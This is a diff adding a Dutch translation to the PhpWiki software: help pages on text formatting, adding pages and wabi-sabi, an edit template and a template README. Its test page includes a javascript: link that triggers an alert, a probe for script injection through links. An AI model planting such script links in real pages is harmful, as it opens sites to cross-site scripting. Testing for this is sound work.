'''''bold italics''''' with five. - * You get bullets by using a tab and an asterisk * - * If you use Windows, you can't use your tab key. It's Bill Gates's fault. But you can check the little box that says Convert Spaces To Tabs. You can type a bunch of spaces and the Wiki will recognize them as a tab. - * To have plain monospaced font, indent with a space: + * Om een pagina te veranderen, klik op de Verander Tekst koppeling +onderaan de desbetreffende pagina. Doe dat nu maar, en lees de bron tekst +van deze pagina. Dat is wat zinvoller. + * Je maakt schuingedrukte tekst door woorden tussen enkele +aanhalingtekens te zetten ''zoals dit''. + * Je maakt '''vette tekst''' door aan weerszijden drie +aanhalingtekens te gebruiken. + * En, '''''vet schuingedrukt''''' met vijf. + * Je maakt punten met een tab en een sterretje *. + * Als je Windows gebruikt, dan werkt je tab toets niet. Dat is de +schuld van Bill Gates. Maar je kunt het kleine knopje indrukken, genaamd +Vertaal Spaties Naar Tabs. Je kunt een stel spaties tiepen die Wiki dan +herkent als ware ze een tab. + * Om een gewoon, niet proportioneel font te krijgen, spring in met een +spatie: + + dit is een gedicht + niet over proportioneel + niks rijmt op gedicht + wat rijmt op niet proportioneel - this is a poem - about monospacing - nothing rhymes with poem - nothing rhymes with monospacing + * Je kunt alinea's van elkaar scheiden met een lege regel. Voorbeeld: - * You can seperate paragraphs with an extra blank line. Example: +Ik ben een alinea. -I am a paragraph. +Ik ben ook een aline. We zijn gewoon erg korte alinea's. -I am a paragraph too. We're just very small paragraphs. - - - * You can get horizontal rules with four or more dashes like this: + * Je maakt een horizontale lijn met vier of meer streepjes zoals hier: ---- - * To create hyperlinks you just capitalize the words and string them together. Let's say you want to create a page about how Steve Wainstead eats worms. All you have to do is capitalize each word and string them together like this: SteveWainsteadEatsWorms. If the page does not exist yet a question mark appears after the link, inviting you to create the page: ThisPageShouldNotExist. (And please don't ruin the example by creating one.) - * To link to pages outside the Wiki, you can just type in the URL and Wiki will link it for you: http://www.nytimes.com/ -* To put images in, just provide the hyperlink in brackets like this: [[http://www.yourhost.yourdomain/images/picture.png]. Image URLs not in brackets will just appear as hyperlinks to the image. - * Now you are ready to begin AddingPages. + * Om hyperkoppelingen te maken hoef je slechts de woorden met +hoofdletters en aan elkaar te schrijven. Laten we zeggen dat je een pagina +wilt maken over die Jan Nieuwenhuizen eet wormen. Het enige dat je hoeft +te doen is elk woord met een hoofdletter beginen en ze aan elkaar schrijven: +JanNieuwenhuizenEetWormen. Als de pagina nog niet bestaat, verschijnt er een +vraagteken achter de koppeling, die je uitnodigt om de pagina aan te maken: +DezePaginaMagNietBestaan. (Verpest dit voorbeeld nou alsjeblieft niet door +er een aan te maken.) + * Om naar pagina's buiten de Wiki te koppelen, tiep je gewoon de URL +in en Wiki maakt de koppelinig voor jou: http://www.volkskrant.nl/. + * Om plaatjes in te voegen, zet de koppeling gewoon tussen vierkante +haken zoals hier: [http://www.jouwgastheer.jouwdomein/plaatjes/figuur.png]. +URLs naar plaatjes die niet tussen vierkante haken staan, verschijnen als +een gewone koppeling naar het plaatje. + * Nu ben je klaar om te beginnen met PaginasToevoegen. ---- -A WikiWikiWeb is meant to be fast and easy to edit. It has very simple markup that you can read about in TextFormattingRules. +Een WikiWikiWeb is bedoeld om snel en gemakkelijk te kunnen veranderen. Het +heeft een erg eenvoudige formattering waarover je kunt lezen in +TekstFormatteringsRegels. diff -urN --exclude=CVS --exclude=*~ --exclude=#* ../phpwiki/locale/nl/pgsrc/JanNieuwenhuizen ./locale/nl/pgsrc/JanNieuwenhuizen --- ../phpwiki/locale/nl/pgsrc/JanNieuwenhuizen Thu Oct 19 23:36:50 2000 +++ ./locale/nl/pgsrc/JanNieuwenhuizen Fri Oct 13 15:46:48 2000 @@ -1,3 +1,4 @@ -Hallo. Ik heb dit WikiWikiWeb in het nederlands vertaald. Ik ben op http://www.xs4all.nl/~jantien. +Hallo. Ik heb dit WikiWikiWeb geinternationaliseerd en de eerste nederlandse +vertaling gemaakt. Ik ben soms op http://www.xs4all.nl/~jantien. Meldt onjuistheden in de vertaling aan mailto:ja...@gn.... diff -urN --exclude=CVS --exclude=*~ --exclude=#* ../phpwiki/locale/nl/pgsrc/MeestBezocht ./locale/nl/pgsrc/MeestBezocht --- ../phpwiki/locale/nl/pgsrc/MeestBezocht Thu Oct 19 23:36:50 2000 +++ ./locale/nl/pgsrc/MeestBezocht Mon Oct 16 11:05:53 2000 @@ -1,4 +1,4 @@ -The 20 most popular pages of this wiki: -(hitcount, pagename) +De 20 meestbezochte pagina's van deze Wiki: +(teller, pagina) %%Mostpopular%% diff -urN --exclude=CVS --exclude=*~ --exclude=#* ../phpwiki/locale/nl/pgsrc/PaginasToevoegen ./locale/nl/pgsrc/PaginasToevoegen --- ../phpwiki/locale/nl/pgsrc/PaginasToevoegen Thu Oct 19 23:36:50 2000 +++ ./locale/nl/pgsrc/PaginasToevoegen Mon Oct 16 10:31:54 2000 @@ -1,11 +1,22 @@ -To add a new page to Wiki, all you have to do is come up with a meaningful title, capatalize all the words and StringThemTogetherLikeThis. Wiki automagically recognizes it as a hyperlink. +Voor het toevoegen van een nieuwe pagina aan Wiki, hoef je alleen maar een +zinvolle titel de bedenken, de woorden met een hoofdletter te beginnen, en +ZeAanElkaarTeSchrijvenZoalsDit. Wiki herkent dit automagisch als een +koppeling. -Then you can go ahead and ClickTheQuestionMark at the end of your new hyperlink, and the Wiki will give you a window for making the new page. +Daarna kun je verder gaan en HetVraagtekenAanKlikken vlak na je nieuwe +koppeling, dan geeft Wiki je een venster voor het maken van de nieuwe pagina. If you wish to add documents with complex markup to the Wiki, you might be better off providing a URL to it than trying to add the text of the document here, like so: - PhpWiki project homepage: http://wcsb.org/~swain/php/wiki/ +Als je documenten met een gecompliceerde opmaak aan Wiki toe wilt voegen, +kun je misschien beter een URL geven dan de tekst van het document hier +in proberen te tiepen, zoals: -The Wiki does not support HTML tags (see TextFormattingRules). <tags>They will just render like text.</tags> Wiki is meant to be as simple as possible to encourage use. + PhpWiki project pagina: http://wcsb.org/~swain/php/wiki/ -Note that there is a feature that your system administrator can enable to allow embedded HTML, but there are security risks involved. +Wiki ondersteunt geen HTML tags (zie TekstFormmateringsRegels). <tags>Die +zien er gewoon uit als tekst.</tags> De bedoeling van Wiki is zo eenvoudig +mogelijk zijn, om gebruik aan te moedigen. + +Noot dat er een kunstje is dat je systeembeheerder aan kan zetten om +ingebedde HTML toe te staan, maar hier zijn beveiligingsrisiko's mee gemoeid. diff -urN --exclude=CVS --exclude=*~ --exclude=#* ../phpwiki/locale/nl/pgsrc/RecenteBezoekers ./locale/nl/pgsrc/RecenteBezoekers --- ../phpwiki/locale/nl/pgsrc/RecenteBezoekers Thu Oct 19 23:36:50 2000 +++ ./locale/nl/pgsrc/RecenteBezoekers Fri Oct 13 15:18:58 2000 @@ -1,6 +1,6 @@ Onderteken hieronder met naam en datum! Jeff Dairiki, Arno Hollosi, SteveWainstead, Php Wiki authors -JanNieuwenhuizen, Php Wiki vertaler. +JanNieuwenhuizen, Php Wiki internationaliseerder en vertaler. diff -urN --exclude=CVS --exclude=*~ --exclude=#* ../phpwiki/locale/nl/pgsrc/SteveWainstead ./locale/nl/pgsrc/SteveWainstead --- ../phpwiki/locale/nl/pgsrc/SteveWainstead Thu Oct 19 23:36:50 2000 +++ ./locale/nl/pgsrc/SteveWainstead Thu Oct 19 11:36:21 2000 @@ -1,4 +1,5 @@ -Hi. I built this WikiWikiWeb. I'm at http://wcsb.org/~swain/. - -Please report bugs to mailto:sw...@pa... - +Hi. I built this WikiWikiWeb. I'm at http://wcsb.org/~swain/. + +Please report bugs to mailto:php...@li... + + diff -urN --exclude=CVS --exclude=*~ --exclude=#* ../phpwiki/locale/nl/pgsrc/TekstFormatteringsRegels ./locale/nl/pgsrc/TekstFormatteringsRegels --- ../phpwiki/locale/nl/pgsrc/TekstFormatteringsRegels Thu Oct 19 23:36:50 2000 +++ ./locale/nl/pgsrc/TekstFormatteringsRegels Mon Oct 16 10:32:16 2000 @@ -1,90 +1,115 @@ -'''Paragraphs''' +'''Alinea's''' - * Don't Indent paragraphs + * Spring alinea's niet in (zoals engelstaligen dat doen). - * Words wrap and fill as needed + * Begin een nieuwe regel en vul uit waar nodig. - * Use blank lines as separators + * Gebruik lege regels als scheiding. - * Four or more minus signs make a horizontal rule + * Vier of meer mintekens maken een horizontale lijn. - * %%''''% makes a linebreak (in headings and lists too) + * %%''''% maakt een regelbreuk (ook in koppen en lijsten). -'''Lists''' +'''Lijsten''' - * tab-* for first level + * tab-* voor niveau een. - * tab-tab-* for second level, etc. + * tab-tab-* voor niveau twee, enz. - * Use * for bullet lists, 1. for numbered lists (mix at will) + * Gebuik * voor gepunteerde lijsten, 1. genummerde lijsten (meng +maar wat raak). - * tab-Term:-tab Definition for definition lists + * tab-Term:-tab Term voor definitie lijsten. - * One line for each item + * Een regel voor elk punt. * Other leading whitespace signals preformatted text, changes font. + * Andere witruimte aan het begin betekent geformatteerde tekst en +verandert het font. -'''Headings''' - * '!' at the start of a line makes a small heading +'''Koppen''' - * '!!' at the start of a line makes a medium heading + * '!' aan het begin van een regel maakt een kleine kop. - * '!!!' at the start of a line makes a large heading + * '!!' aan het begin van een regel maakt een middelgrote kop. + * '!!!' aan het begin van een regel maakt een grote kop. -'''Fonts''' - * Indent with one or more spaces to use a monospace font: - This is in monospace -This is not +'''Lettertypen''' + * Spring in met een of meer spaties voor een niet proportioneel font: -'''Indented Paragraphs''' -''(Quotes)'' + Dit is niet proportioneel +En dit lekker wel. - * tab-space-:-tab -- often used (with emphasis) for quotations. (See SimulatingQuoteBlocks) +'''Ingesprongen Alinea's''' +''(Citaten)'' -'''Emphasis''' + * tab-space-:-tab -- veel gebruikt (met nadruk) voor citaten. (Zie +BlokCitatenNadoen) - * Use doubled single-quotes ('') for emphasis (usually italics) - * Use tripled single-quotes (''') for strong emphasis (usually bold) +'''Nadruk''' - * Use five single-quotes ('''''), or triples within doubles, for some other kind of emphasis (BoldItalicInWiki), but be careful about the bugs in the Wiki emphasis logic... + * Gebruik twee enkele aanhalingtekens ('') voor nadruk (meestal +schuin). - * Emphasis can be used multiple times within a line, but cannot cross line boundaries + * Gebuik drie enkele aanhalingtekens (''') voor sterke nadruk (meestal +vet). + * Gebruik vijf enkele aanhalingstekens ('''''), of drie binnen dubbele, +voor een ander soort van nadruk (VetSchuinInWiki), maar wees voorzichtig met +luizen in de Wiki nadruk logica... -'''References''' - * Hyperlinks to other pages within the Wiki are made by placing the page name in square brackets: [this is a page link] + * Nadruk kan meerdere malen in een regel worden gebruikt, maar kan +regelbreuken niet oversteken. - * Hyperlinks to external pages are done like this: [http://www.wcsb.org/] - * You can name the links to the external pages by providing a name, a bar (|) and then the hyperlink: [Steve's home page | http://wcsb.org/~swain/] +'''Verwijzingen''' - * Old Wiki linking is still supported: JoinCapitalizedWords to make local references + * Koppelingen naar andere pagina's binnen de Wiki worden gemaakt door +de naam van de pagina in vierkante haken te zetten: +[dit is een paginakoppeling]. - * You can suppress linking to old-style references by preceeding the word with a '!', e.g. !NotLinkedAsWikiName + * Koppelingen naar externe pagina's gaan zo: [http://www.lilypond.org]. - * [1], [2], [3], [4] refer to remote references. Click EditLinks on the edit form to enter URLs. These differ from the newer linking scheme; references are unique to a page. + * Je kunt de koppelingen naar externe pagina's een naam geven, door +het tiepen van naam, een staaf (|) en dan de koppeling: [Jan's thuispagina | +http://www.xs4all.nl/~jantien]. - * Also, the old way of linking URL's is still supported: precede URLs with "http:", "ftp:" or "mailto:" to create links automatically as in: http://c2.com/ + * Oude Wiki koppeling wordt nog steeds ondersteund: +KapitaliseerEnSchrijfAanElkaar voor het maken van lokale verwijzingen. - * URLs ending with .png are inlined ''if inserted as a remote reference'' + * Je kunt koppelen naar oude stijl verwijzingen onderdrukken door +een '!' voor de woorden te tiepen: !NietGekoppeldAlsWikiNaam. + * [1], [2], [3], [4] verwijzen naar externe verwijzingen. Klik +VeranderKoppelingen op het veranderformulier voor het intiepen van de URLs. +Deze zijn anders dan de nieuwere manier van koppelen; verwijzingen zijn +per pagina uniek. -'''Mark-Up Language''' + * De oude manier van URL koppeling wordt nog steeds ondersteund: +tiep voor de URLs "http:", "ftp:' of "mailto:" ome een automatische koppeling +te maken, als in: http://c2.com/. - * Don't bother + * URLs die eindigen op .png worden ingebed ''wanneer ingevoerd als +een externe verwijzing''. - * < and > are themselves - * The & characters will not work +'''Opmaak Taal''' - * If you really must use HTML, start each line with a bar (|). Note that this featured must be enabled by the system administrator. + * Doe geen moeite. + * < en > zijn zichzelf. + + * De & tekens werken toch niet. + + * Als je nou echt zo nodig HTML moet gebruiken, begin elke regel met +een staaf (|). Noot dat dit kunstje mogelijk gemaakt moet worden door +de systeembeheerder. diff -urN --exclude=CVS --exclude=*~ --exclude=#* ../phpwiki/locale/nl/pgsrc/TestPagina ./locale/nl/pgsrc/TestPagina --- ../phpwiki/locale/nl/pgsrc/TestPagina Thu Oct 19 23:36:50 2000 +++ ./locale/nl/pgsrc/TestPagina Sun Oct 15 14:33:17 2000 @@ -1,122 +1,126 @@ - New lists: astericks and hash marks -* bullet -* l1 -** l2 -** l2 -*** l3 -# one -#two -#three -*****l5 -***l3 -*l1 - preformatted text -** l2 + Nieuwe lijsten: sterretjes en hekjes +* punt +* n1 +** n2 +** n2 +*** n3 +# een +#twee +#drie +*****n5 +***n3 +*n1 + geformatteerde tekst +** n2 ---- - * level 1 - * l1 - *l2 - *l2 - *l3 - *l3 - *l4 - *l3 - *l5 - *l3 - #one - #two - #one - #two - *l1 - #three - #four - *l1 - *l2 - # one - # two - - preformatted text - some more text - - *l1 - *l4 - # number - # number -this is a plain paragraph - * bullet -this is a plain paragraph again - # number + * niveau 1 + * n1 + *n2 + *n2 + *n3 + *n3 + *n4 + *n3 + *n5 + *n3 + #een + #twee + #een + #twee + *n1 + #drie + #vier + *n1 + *n2 + # een + # twee + + geformatteerde tekst + nog wat tekst + + *n1 + *n4 + # nummer + # nummer +dit is een platte alinea + * punt +dit is alweer een platte alinea + # nummer ---- -__Link tests__ -# FrontPage -# [FrontPage] -# Link in brackets: [http://phpwiki.sourceforge.net] -# Link outside brackets: http://phpwiki.sourceforge.net/ -# Link with Wiki word: http://phpwiki.sourceforge.net/phpwiki/index.php3?FrontPage -# Two consecutive links: http://phpwiki.sourceforge.net/ http://phpwiki.sourceforge.net/phpwiki/ -# [PhpWiki on Sourceforge | http://phpwiki.sourceforge.net/] -# [URL with a WikiWord | http://phpwiki.sourceforge.net/phpwiki/index.php3?RecentChanges] -# Javascript: [boo! | javascript:alert('oops') ] -# A [[Link] produces a [Link] -# A [Link] looks like this: [[link] -# This is a [%%%] line break link +__Koppel testen__ +# VoorPagina +# [VoorPagina] +# Koppeling tussen vierkante haken: [http://phpwiki.sourceforge.net] +# Koppeling zonder haken: http://phpwiki.sourceforge.net/ +# Koppeling met Wiki woord: http://phpwiki.sourceforge.net/phpwiki/index.php3?VoorPagina +# Twee opeenvolgende koppelingen: http://phpwiki.sourceforge.net/ http://phpwiki.sourceforge.net/phpwiki/ +# En wat als er een WikiKoppeling en nog een WikiKoppelingMetZelfdeStam op dezelfde regel staan? +# [PhpWiki bij Sourceforge | http://phpwiki.sourceforge.net/] +# [URL met een WikiWoord | http://phpwiki.sourceforge.net/phpwiki/index.php3?RecentChanges] +# Javascript: [boe! | javascript:alert('oeps') ] +# Een [[koppeling] produceert een [Koppeling] +# Een [Koppeling] ziet er zo uit: [[koppeling] +# Dit is een [%%%] regelbreukkoppeling ---- - Markup tests: -__underscores for bold__ + Opmaak testen: +__onderstreep voor vet__ -'''quotes for bold''' +'''aanhalingtekens voor vet''' -''quotes for italic'' +''aanhalingstekens voor schuin'' -__''underscores bold italic''__ +__''onderstreep vet schuin''__ -'''''five quotes bold italic''''' +'''''vijf aanhalingtekens vet schuin''''' -''''''six quotes'''''' +''''''zes aanhalingtekens'''''' -'''''Bold italic''' and italic'' (buggy) +'''''Vet schuin''' en schuin'' (luizig) -'''Bold and ''bold-italic''''' (also buggy) +'''Vet en ''vet-schuin''''' (ook luizig) -! h1 +! k1 -!! h2 +!! k2 -!!! h3 +!!! k3 -this is plain text with <br>%%% -a line break +dit is platte tekst met <br>%%% +een regelbreuk -look at the <a href="http://phpwiki.sourceforge.net/">markup language</a> +kijk naar de <a href="http://phpwiki.sourceforge.net/">opmaak taal</a> -you cannot use &, < or > +je kunt geen &, < of > gebruiken ---- - preformatted text: + geformatteerde tekst: - __underscores for bold__ + __onderstreep voor vet__ - '''quotes for bold''' + '''aanhalingtekens voor vet''' - ''quotes for italic'' + ''aanhalingstekens voor schuin'' - __''underscores bold italic''__ + __''onderstreep vet schuin''__ - '''''five quotes bold italic''''' + '''''vijf aanhalingtekens vet schuin''''' - ''''''six quotes'''''' + ''''''zes aanhalingtekens'''''' - ! h1 + '''''Vet schuin''' en schuin'' (luizig) - !! h2 + '''Vet en ''vet-schuin''''' (ook luizig) - !!! h3 + ! k1 - this is plain text with <br>%%% - a line break + !! k2 - look at the <a href="http://phpwiki.sourceforge.net/">markup language</a> + !!! k3 - you cannot use &, < or > + dit is platte tekst met <br>%%% + een regelbreuk + kijk naar de <a href="http://phpwiki.sourceforge.net/">opmaak taal</a> + + je kunt geen &, < of > gebruiken diff -urN --exclude=CVS --exclude=*~ --exclude=#* ../phpwiki/locale/nl/pgsrc/VeranderTekst ./locale/nl/pgsrc/VeranderTekst --- ../phpwiki/locale/nl/pgsrc/VeranderTekst Thu Oct 19 23:36:50 2000 +++ ./locale/nl/pgsrc/VeranderTekst Fri Oct 13 15:42:53 2000 @@ -1 +1,3 @@ -All pages (except search results) have an EditText link at the bottom. You can edit the page you are reading by clicking that link. +Onderaan alle pagina's (behalve zoekresultaten) staat eeen VeranderTekst +koppeling. Je kunt de pagina die je leest, veranderen door op die +koppeling te klikken. diff -urN --exclude=CVS --exclude=*~ --exclude=#* ../phpwiki/locale/nl/pgsrc/VertaalSpatiesNaarTabs ./locale/nl/pgsrc/VertaalSpatiesNaarTabs --- ../phpwiki/locale/nl/pgsrc/VertaalSpatiesNaarTabs Thu Oct 19 23:36:50 2000 +++ ./locale/nl/pgsrc/VertaalSpatiesNaarTabs Mon Oct 16 12:34:34 2000 @@ -1,19 +1,23 @@ -VariousBrowsers have trouble with the tab character used in the TextFormattingRules. If you can't type a tab, or, if you are fixing up a page written by someone who didn't type tabs, then you should have us convert spans of spaces to tabs for you. You request space to tab conversion with the checkbox that appears near the bottom of EditText and EditCopy pages. It looks something like this... +AllerleiBladeraars hebben moeite met het tab teken dat wordt gebruikt in de +TekstFormatteringsRegels. Als je geen tab kunt tiepen, of als je een +pagina wilt repareren van iemand die geen tabs heeft getiept, dan moet je +ons vragen groepen spaties door tabs te vervangen. Je kunt spatien naar +tab vertaling aanvragen met de knop onderaan de VeranderTekst en VeranderKopie +pagina's. Die ziet er ongeveer zo uit: - [[o] I can't type tabs. Please ConvertSpacesToTabs for me when I save. + [[o] Ik kan geen tabs tiepen. VertaalSpatiesNaarTabs voor mij als ik bewaar. -A span of spaces must be at least '''three''' spaces long to be recognized -as a tab. Use multiples of '''eight''' spaces to make multiple tabs. -Each span of eight spaces will convert to one tab. If the -last span comes up a little short, that's ok, as long as -there are at least three spaces in the last (only) span. +Een groep spaties moet minstens '''drie''' spaties lang zijn om herkend +te worden als tab. Gebruik veelvouden van '''acht''' spaties om meerdere +tabs te maken. Elke groep van acht spaties wordt vertaald naar een tab. +Het geeft niet als de laatste groep een beetje kort is, zolang er maar +minstens drie spaties in de laatste (enige) groep staan. -'''Check your work.''' This sort of heuristic can lead to -unexpected results. +'''Controleer je werk.''' Deze methode kan leiden tot onverwachte resultaten. ----- -[Maintenance note: This page is seen when the user clicks on the -"ConvertSpacesToTabs" link on any edit screen. It describes what happens -when you ask the system to do this, why you would want it to, and ways to -avoid the spaces-instead-of-tabs problem.] - +[Onderhoudsnotitie: Deze pagina wordt getoond waneer de gebruiker klikt +op de "VertaalSpatiesNaarTabs" koppeling in een veranderschem. Het +beschrijft wat er gebeurt wanneer je het systeem vraagt dit te doen, +waarom je het zou willen doen, en manieren om het +spaties-in-plaats-van-tabs probleem te omzeilen.] diff -urN --exclude=CVS --exclude=*~ --exclude=#* ../phpwiki/locale/nl/pgsrc/WabiSabi ./locale/nl/pgsrc/WabiSabi --- ../phpwiki/locale/nl/pgsrc/WabiSabi Thu Oct 19 23:36:50 2000 +++ ./locale/nl/pgsrc/WabiSabi Mon Oct 16 12:23:52 2000 @@ -1,26 +1,37 @@ -Since wabi-sabi represents a comprehensive Japanese world view or aesthetic system, it is difficult to explain precisely in western terms. According to Leonard Koren, wabi-sabi is the most conspicuous and characteristic feature of what we think of as traditional Japanese beauty and it "occupies roughly the same position in the Japanese pantheon of aesthetic values as do the Greek ideals of beauty and perfection in the West." +Omdat wabi-sabi een alomvattend japans wereldbeeld of estheties systeem +vertegenwoordigt, is het lastig exact te beschrijven in westerse begrippen. +Volgens Leonard Koren is wabi-sabi het meest pakkende en karakteristieke +kenmerk van wat wij beschouwen als traditionele japanse schoonheid en het +"neemt ruwweg dezelfde positie in het japanse pantheon van esthetiese waarden +in als de griekse idealen van schoonheid en perfectie in het westen." + +Wabi-sabi een schoonheid van onvoltooide, vergankelijke en onvolledige dingen. + +Het is de schoonheid van nederige en bescheiden dingen. + +Het is de schoonheid van onconventionele dingen. + +De beginselen van wabi-sabi hangen samen met de beginselen van Zen Boeddhisme, +omdat de eerste japanners die betrokken waren met wabi-sabi thee meesters, +priesters en monniken waren die Zen bedreven. Zen Boeddhisme is onstaan in +India, reisde in de 6e eeuw naar China, en werd voor het eerst geintroduceerd +in Japan rond de 12e eeuw. Zen benadrukt "direkt, instinctief inzicht in +bovennatuurlijke werkelijkheid boven alle verstandelijke redenering." In de +kern van wabi-sabi ligt het belang van bovennatuurlijke manieren van kijken +naar en denken over dingen en het bestaan. + + *Alle dingen zijn belangrijk + *Alle dingen zijn onvoltooid + *Alle dingen zijn onvolledig + +Materiele kenmerken van wabi-sabi: + + *de indruk van een natuurlijk process + *onregelmatig + *intiem + *pretentieloos + *aards + *eenvoudig -Wabi-sabi is a beauty of things imperfect, impermanent, and incomplete. - -It is the beauty of things modest and humble. - -It is the beauty of things unconventional. - -The concepts of wabi-sabi correlate with the concepts of Zen Buddhism, as the first Japanese involved with wabi-sabi were tea masters, priests, and monks who practiced Zen. Zen Buddhism originated in India, traveled to China in the 6th century, and was first introduced in Japan around the 12th century. Zen emphasizes "direct, intuitive insight into transcendental truth beyond all intellectual conception." At the core of wabi- sabi is the importance of transcending ways of looking and thinking about things/existence. - - *All things are impermanent - *All things are imperfect - *All things are incomplete - -Material characteristics of wabi-sabi: - - *suggestion of natural process - *irregular - *intimate - *unpretentious - *earthy - *simple - -For more about wabi-sabi, see +Voor meer over wabi-sabi, zie http://www.art.unt.edu/ntieva/artcurr/japan/wabisabi.htm - diff -urN --exclude=CVS --exclude=*~ --exclude=#* ../phpwiki/locale/nl/pgsrc/WikiWikiWeb ./locale/nl/pgsrc/WikiWikiWeb --- ../phpwiki/locale/nl/pgsrc/WikiWikiWeb Thu Oct 19 23:36:50 2000 +++ ./locale/nl/pgsrc/WikiWikiWeb Mon Oct 16 11:37:19 2000 @@ -1,12 +1,19 @@ -A WikiWikiWeb is a site where everyone can collaborate on the content. The most well-known and widely used Wiki is the Portland Pattern Repository at http://c2.com/cgi-bin/wiki?WikiWikiWeb. +Een WikiWikiWeb is een plaats waar iedereen kan samenwerken aan de inhoud van +het web. De bekendste en meest gebruikte Wiki is de Portland Pattern +Repository op http://c2.com/cgi-bin/wiki?WikiWikiWeb. -I found these statements there particularly relevant: +Met name deze uitspraken vond ik relevant: -''The point is to make the EditText form simple and the FindPage search fast.'' +''Maak het Verandertekst formulier eenvoudig en de ZoekPagina snel.'' -''In addition to being quick, this site also aspires to Zen ideals generally labeled WabiSabi. Zen finds beauty in the imperfect and ephemeral. When it comes down to it, that's all you need.'' +''Naast het vlug zijn, aspireert deze plaats ook de idealen van Zen in het +algemeen, genaamd WikiSabi. Zen vindt schoonheid in het onvoltooide en +vergankelijke. Uiteindelijk is dat alles wat je nodig hebt.'' -You can say hello on RecentVisitors, or read about HowToUseWiki and AddingPages. Currently this Wiki has no "theme" for discussion, so go ahead and play with it and have fun! +Je kunt gedag zeggen op RecenteBoekers, of lezen over HoeWikiTeGebruiken en hoe +je PaginasToevoegen kan. + Momenteel is er voor deze Wiki geen discussie "onderwerp", dus ga je gang, + speel ermee en vermaak je. --SteveWainstead diff -urN --exclude=CVS --exclude=*~ --exclude=#* ../phpwiki/locale/nl/templates/README ./locale/nl/templates/README --- ../phpwiki/locale/nl/templates/README Thu Jan 1 01:00:00 1970 +++ ./locale/nl/templates/README Fri Oct 13 12:40:37 2000 @@ -0,0 +1,86 @@ +$Id: README,v 1.2 2000/10/08 18:12:14 wainstead Exp $ + +PhpWiki distinguishes between four different templates: + +- template for browsing pages (default: browse.html) + This template is used when viewing Wiki pages. + +- template for editing pages (default: editpage.html) + This template is used when users edit a page by clicking on + the EditText link. + +- template for editing references (default: editlinks.html) + This template is used when users edit references of a page + by clicking on the EditLinks link on the EditText page. + +- template for plain messages from PhpWiki (default: message.html) + This template is used when displaying search results, or when + displaying error messages. + + +The location of the template files is defined in lib/config.php +The specification is relative to the index.php script. + +Template files are regular HTML files, which contain special +placeholders. Placeholders are surrounded by '###'. +You must not use '###' for other purposes. + + +Following placeholders are provided by PhpWiki: + +###SCRIPTURL### + This is the URL of the main PhpWiki script. + All URL's referring to the Wiki itself should use this placeholder. + +###PAGE### + The page title. Any special HTML characters are replaced by their + entities. Do not use this placeholder in links. Use ###PAGEURL### + instead. + +###CONTENT### + The actual page content. This is either the Wikipage itself, + the search result, or a message text. + +###ALLOWEDPROTOCOLS### + Protocols allowed for external links and references. + Default: http|https|mailto|ftp|news|gopher + + +The following placeholders are not available for the 'MESSAGE' template: + +###PAGEURL### + Page title encoded for use in URLs. + +###LASTMODIFIED### + Date when the page was last modified. + +###LASTAUTHOR### + Author of latest modification. Usually this is the hostname or + the IP address. + +###VERSION### + Revision number of the page. + Note: this is also used for detecting concurrent updates to a page. + See hidden input field in EDITPAGE template for how to use it. + +###IFCOPY### + Special placeholder. Should only be used in EDITPAGE template. + If EditCopy link should be shown, then ###IFCOPY### is ignored. + If EditCopy should not be shown, the rest of the line is deleted. + + +Only for EditLinks: +###1###, ###2###, .... + Placeholder for references. Up to NUM_LINKS placeholders will be + substituted. NUM_LINKS is defined in lib/config.php + + + +Examples: + +<A HREF="###SCRIPTURL###">the entry (default) page</A> +<A HREF="###SCRIPTURL###?###PAGEURL###">the current page</A> +<A HREF="###SCRIPTURL###?FindPage">the FindPage page</A> +<head><title>PhpWiki Page: ###PAGE###</title></head> + +see default templates for more examples. diff -urN --exclude=CVS --exclude=*~ --exclude=#* ../phpwiki/locale/nl/templates/editpage.html ./locale/nl/templates/editpage.html --- ../phpwiki/locale/nl/templates/editpage.html Thu Oct 19 23:39:32 2000 +++ ./locale/nl/templates/editpage.html Mon Oct 16 10:16:33 2000 @@ -4,12 +4,12 @@ <title>###PAGE###</title> </head> -<body bgcolor=moccasin text=black alink=red link=darkblue vlink=darkmagenta> +<body> <form method="POST" action="###SCRIPTURL###"> -<table cellpadding=2> -<tr><td bgcolor=black><a href="###SCRIPTURL###"><img src="###LOGO###" border=0 alt="[phpwiki]"></a></td> +<table cellpadding="2"> +<tr><td bgcolor="black"><a href="###SCRIPTURL###"><img src="###LOGO###" border=0 alt="[phpwiki]"></a></td> <td><h1>Verander ###PAGE### <input type="submit" value=" Bewaar "></h1> </td></tr></table> @@ -18,7 +18,7 @@ <br> <input type="checkbox" name="convert" value="tabs" > -I kan geen tabs typen. +Ik kan geen tabs typen. <a href="###SCRIPTURL###?VertaalSpatiesNaarTabs">VertaalSpatiesNaarTabs</a> voor mij als ik bewaar. <p><a href="###SCRIPTURL###?GoedeStijl">GoedeStijl</a> tips for @@ -32,14 +32,14 @@ <hr noshade> <small> -<b>Emphasis:</b> '' for italics, ''' for bold, ''''' for both -<br><b>Lists:</b> tab-* for bullet lists, tab-# for numbered lists, tab-Term:-tab for definition lists -<br><b>References:</b> JoinCapitalizedWords or use square brackets for a [page link] or URL [http://cool.wiki.int/]. -<br><b>References:</b> Use [1],[2],[3],... and EditLinks. Avoid linking with "!": !DoNotHyperlink, name links like [text | URL] -<br><b>Misc:</b>"!", "!!", "!!!" make headings, -"%%%" makes a linebreak, "- - - -" makes a horizontal rule, escape "[" with "[[" +<b>Nadruk:</b> '' voor schuin, ''' voor vet, ''''' voor beide. +<br><b>Lijsten:</b> tab-* voor punt lijsten, tab-# voor genummerde lijsten, tab-Term:-tab voor definitie lijsten. +<br><b>Verwijzingen:</b> KapitaliseerEnSchrijfAanElkaar of gebruik vierkante haken [pagina koppeling] of URL [http://koel.wiki.int/]. +<br><b>Verwijzingen:</b> Gebruik [1],[2],[3],... en VeranderKoppelingen. Vermijdt kopplingen met "!": !KoppelNiet, noem koppelingen met [naam | URL]. +<br><b>Allerlei:</b>"!", "!!", "!!!" maak koppen, +"%%%" maak regelbreuk, "- - - -" maak horizontale lijn, ontsnap "[" met "[[". <br>meer op -<a href="###SCRIPTURL###?TextFormattingRules"> +<a href="###SCRIPTURL###?TekstFormatteringsRegels"> <b>TekstFormatteringsRegels.</b></a> </small> diff -urN --exclude=CVS --exclude=*~ --exclude=#* ../phpwiki/locale/po/nl.po ./locale/po/nl.po --- ../phpwiki/locale/po/nl.po Thu Oct 19 23:36:50 2000 +++ ./locale/po/nl.po Fri Oct 20 09:42:04 2000 @@ -10,7 +10,7 @@ msgid "" msgstr "" "Project-Id-Version: phpwiki 1.1.7\n" -"POT-Creation-Date: 2000-10-19 23:29+0200\n" 